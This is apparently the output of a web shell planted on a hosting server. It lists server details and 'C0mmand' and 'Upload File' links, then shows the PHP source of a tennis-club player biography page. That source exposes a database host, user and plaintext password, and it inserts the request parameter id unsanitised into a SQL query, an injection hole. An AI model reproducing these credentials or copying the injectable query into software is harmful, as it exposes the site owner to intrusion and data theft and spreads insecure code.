|
Server IP : 10.111.20.6 / Your IP : 216.73.217.121 Web Server : Apache System : Linux webm006.cluster111.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : edizioni ( 7252) PHP Version : 8.3.23 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/edizioni/stampaeweb/../.config/../extonymask/figurine/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<head>
<title>Biografia Tennista</title>
<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
<script src="https://code.jquery.com/jquery-1.12.4.js"></script>
<script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
<script src="js.js"></script>
<link rel="stylesheet" href="css/tooltip.css">
<script src="ttip.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href=css/simplex.css>
<link rel="stylesheet" href="css/custom-min.css">
<link rel="stylesheet" href="css/nuovo-css.css">
<link rel="stylesheet" href="https://bootswatch.com/_vendor/bootstrap-icons/font/bootstrap-icons.min.css">
<link rel="stylesheet" href="https://bootswatch.com/_vendor/prismjs/themes/prism-okaidia.css">
<script src="https://bootswatch.com/_vendor/bootstrap/dist/js/bootstrap.bundle.min.js"></script>
<script src="js/prism.js"></script>
<script src="js/custom.js"></script>
<link rel="stylesheet" href=css/simplex.css>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
</head>
<body>
<?php
include_once('mysql-fix.php');
include_once('funnome.php');
require_once("support/funformat.php"); include('funzioni.php');
$dbhost1 = "edizionitonym4sk.mysql.db"; $dbname1 = "edizionitonym4sk"; $dbuser1 = "edizionitonym4sk"; $dbpass1 = "Didier0533";
$conn1 = mysql_connect($dbhost1,$dbuser1,$dbpass1)
or die("Impossibile collegarsi al server MySQL.");
mysql_select_db($dbname1,$conn1)
or die("Impossibile selezionare il database $dbname");
$id=$_REQUEST['id'];
$sql="SELECT * FROM circolo WHERE id=$id";
$result = mysql_query($sql,$conn1); $riga=mysql_fetch_array($result);
$pos= $riga['pos'];
$giocatore= $riga['giocatore']; $foto = "figurine/$pos.png";
$dana= $riga['dana'];
$luna= $riga['luna'];
$altezza= $riga['altezza'];
$br= $riga['br'];
$attuale= $riga['attuale']; $posto= $riga['posto'];
$sqlpartite="SELECT * FROM `circolo_partite` WHERE winner=$id OR loser=$id ORDER BY dapa DESC";
$result1 = mysql_query($sqlpartite,$conn1);
$ctg = array("","A1","A2","B1","B2","C1","C2","D","nc");
?>
<div style="margin-top:0px">
<p style="text-align:center;"><img src="imgtennisti/logosito.png" style="width:80px"></p>
<h3 class="text-primary centro">Biografia <?php echo $giocatore; ?></h3>
<table style="width:100%; border:1px solid #000; margin-bottom:2% ">
<tr>
<td style="width:30%; padding:1%; text-align:center">
<img src=<?php echo $foto; ?> style="width:100%;"> <br>
<?php echo $luna; ?><br>
<?php echo $dana; ?><br>
<?php echo $altezza; ?>cm
</td>
<td style="width:70%; padding:1%; vertical-align:top; font-size:2vw">
<?php
if($result1){
$i=0; $win=0; $lose=0;
do{
$riga1=mysql_fetch_array($result1);
$recordsetx[$i]=$riga1;
$risultato= $recordsetx[$i]['risultato'];
$loser = $recordsetx[$i]['loser'];
$winner = $recordsetx[$i]['winner'];
if ($winner==$id){ // partita vinta
$win++; $colore = "badge bg-success";
}elseif ($loser==$id){
$lose++; $colore = "badge bg-warning";
}
$damo =$recordsetx[$i]['dapa'];
$damo = substr($damo, 8,2) . "." .substr($damo, 5,2) ."." .substr($damo,0,4);
if ($loser>0){
echo "<b class='$colore'>$damo</b> " .nome($winner) ." vs " .nome($loser) ." " ."<b class='badge bg-info'>$risultato</b><br>";
}
}while($riga1);
$i++;
}else{
mysql_close($conn1);
}
?>
</td>
</tr>
<tr>
<td colspan="2" style="padding-left:10%">
<table style="width:50%; background-color:#8afef5">
<tr>
<th style="width:40%;text-align:center">Score</th><th style="width:20%; text-align:center">Categoria</th>
<th style="width:20%; text-align:center">Classifica</th><th style="width:20%; text-align:center">Best</th>
</tr>
<tr>
<td style="text-align:center;"><?php echo $win ."/" .$lose;?></td>
<!-- <td style="text-align:center;"><?php echo chr($attuale +64);?></td> -->
<td style="text-align:center;"><?php echo $ctg[$attuale];?></td>
<td style="text-align:center;"><?php echo $posto;?></td>
<td style="text-align:center;"><?php echo $br;?></td>
</tr>
</table>
</td>
</tr>
</table><br><br>
</div><br> <!-- chiude contenitore principale -->
<div>
<a href="circolo.php" target="_SELF"><b class="btn btn-success btn-sm">Classifica</b></a><br><br>
<div class="container"><a href="https://www.tonymascarella.it" class="nav-link"><i class="fa fa-copyright"> by Tony Mascarella</i></a> <i>(dati a partire da Aprile 2025)</i></div>
</div>
</body>